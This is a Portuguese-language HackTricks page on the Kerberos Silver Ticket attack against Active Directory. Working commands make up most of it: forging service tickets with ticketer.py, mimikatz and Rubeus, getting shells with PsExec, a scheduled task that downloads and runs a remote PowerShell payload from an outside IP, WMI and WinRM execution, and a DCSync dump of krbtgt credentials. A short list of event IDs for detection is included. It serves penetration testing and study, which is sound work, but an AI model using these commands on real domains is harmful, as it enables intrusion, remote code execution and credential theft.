hacktricks/windows-hardening/active-directory-methodology/silver-ticket.md

10 KiB

Silver Ticket

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Se você está interessado em carreira de hacking e em hackear o inquebrável - estamos contratando! (polonês fluente escrito e falado necessário).

{% embed url="https://www.stmcyber.com/careers" %}

Silver ticket

O ataque Silver ticket é baseado em criar um TGS válido para um serviço uma vez que o hash NTLM do serviço é obtido (como o hash da conta do PC). Assim, é possível ganhar acesso a esse serviço forjando um TGS personalizado como qualquer usuário.

Neste caso, o hash NTLM de uma conta de computador (que é uma espécie de conta de usuário no AD) é obtido. Portanto, é possível criar um ticket para entrar naquela máquina com privilégios de administrador através do serviço SMB. As contas de computador redefinem suas senhas a cada 30 dias por padrão.

Também deve ser levado em conta que é possível E PREFERÍVEL (opsec) forjar tickets usando as chaves Kerberos AES (AES128 e AES256). Para saber como gerar uma chave AES, leia: seção 4.4 do MS-KILE ou o Get-KerberosAESKey.ps1.

{% code title="Linux" %}

python ticketer.py -nthash b18b4b218eccad1c223306ea1916885f -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park -spn cifs/labwws02.jurassic.park stegosaurus
export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache
python psexec.py jurassic.park/stegosaurus@labwws02.jurassic.park -k -no-pass
No Windows, **Mimikatz** pode ser usado para **criar** o **ticket**. Em seguida, o ticket é **injetado** com **Rubeus**, e finalmente um shell remoto pode ser obtido graças ao **PsExec**.

{% code title="Windows" %}
#Create the ticket
mimikatz.exe "kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park"
#Inject in memory using mimikatz or Rubeus
mimikatz.exe "kerberos::ptt ticket.kirbi"
.\Rubeus.exe ptt /ticket:ticket.kirbi
#Obtain a shell
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd

#Example using aes key
kerberos::golden /user:Administrator /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /target:labwws02.jurassic.park /service:cifs /aes256:babf31e0d787aac5c9cc0ef38c51bab5a2d2ece608181fb5f1d492ea55f61f05 /ticket:srv2-cifs.kirbi

{% endcode %}

O serviço CIFS é o que permite acessar o sistema de arquivos da vítima. Você pode encontrar outros serviços aqui: https://adsecurity.org/?page_id=183. Por exemplo, você pode usar o serviço HOST para criar uma schtask em um computador. Em seguida, você pode verificar se isso funcionou tentando listar as tarefas da vítima: schtasks /S <hostname> ou você pode usar o serviço HOST e RPCSS para executar consultas WMI em um computador, teste fazendo: Get-WmiObject -Class win32_operatingsystem -ComputerName <hostname>

Mitigação

IDs de eventos de Silver ticket (mais discretos que golden ticket):

  • 4624: Logon de Conta
  • 4634: Logoff de Conta
  • 4672: Logon de Admin

Mais informações sobre Silver Tickets em ired.team

Serviços Disponíveis

Tipo de Serviço Service Silver Tickets
WMI

HOST

RPCSS

PowerShell Remoting

HOST

HTTP

Dependendo do SO também:

WSMAN

RPCSS

WinRM

HOST

HTTP

Em algumas ocasiões você pode simplesmente pedir: WINRM

Tarefas Agendadas HOST
Compartilhamento de Arquivos do Windows, também psexec CIFS
Operações LDAP, incluindo DCSync LDAP
Ferramentas de Administração Remota de Servidores Windows

RPCSS

LDAP

CIFS

Golden Tickets krbtgt

Usando Rubeus você pode solicitar todos esses tickets usando o parâmetro:

  • /altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm

Abusando de Service tickets

Nos seguintes exemplos vamos imaginar que o ticket é recuperado se passando pela conta do administrador.

CIFS

Com este ticket você poderá acessar as pastas C$ e ADMIN$ via SMB (se estiverem expostas) e copiar arquivos para uma parte do sistema de arquivos remoto apenas fazendo algo como:

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

Você também poderá obter um shell dentro do host ou executar comandos arbitrários usando psexec:

{% content-ref url="../ntlm/psexec-and-winexec.md" %} psexec-and-winexec.md {% endcontent-ref %}

HOST

Com essa permissão, você pode gerar tarefas agendadas em computadores remotos e executar comandos arbitrários:

#Check you have permissions to use schtasks over a remote server
schtasks /S some.vuln.pc
#Create scheduled task, first for exe execution, second for powershell reverse shell download
schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe"
schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
#Check it was successfully created
schtasks /query /S some.vuln.pc
#Run created schtask now
schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"

HOST + RPCSS

Com esses tickets você pode executar WMI no sistema vítima:

#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
#Execute code
Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand"

#You can also use wmic
wmic remote.computer.local list full /format:list

Encontre mais informações sobre wmiexec na seguinte página:

{% content-ref url="../ntlm/wmicexec.md" %} wmicexec.md {% endcontent-ref %}

HOST + WSMAN (WINRM)

Com acesso winrm a um computador, você pode acessá-lo e até obter um PowerShell:

New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC

Verifique a seguinte página para aprender mais formas de conectar-se a um host remoto usando winrm:

{% content-ref url="../ntlm/winrm.md" %} winrm.md {% endcontent-ref %}

{% hint style="warning" %} Observe que o winrm deve estar ativo e ouvindo no computador remoto para acessá-lo. {% endhint %}

LDAP

Com este privilégio, você pode extrair o banco de dados do DC usando DCSync:

mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt

Saiba mais sobre DCSync na página a seguir:

{% content-ref url="dcsync.md" %} dcsync.md {% endcontent-ref %}

Se você tem interesse em carreira de hacking e em hackear o inquebrável - estamos contratando! (é necessário polonês fluente escrito e falado).

{% embed url="https://www.stmcyber.com/careers" %}

Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: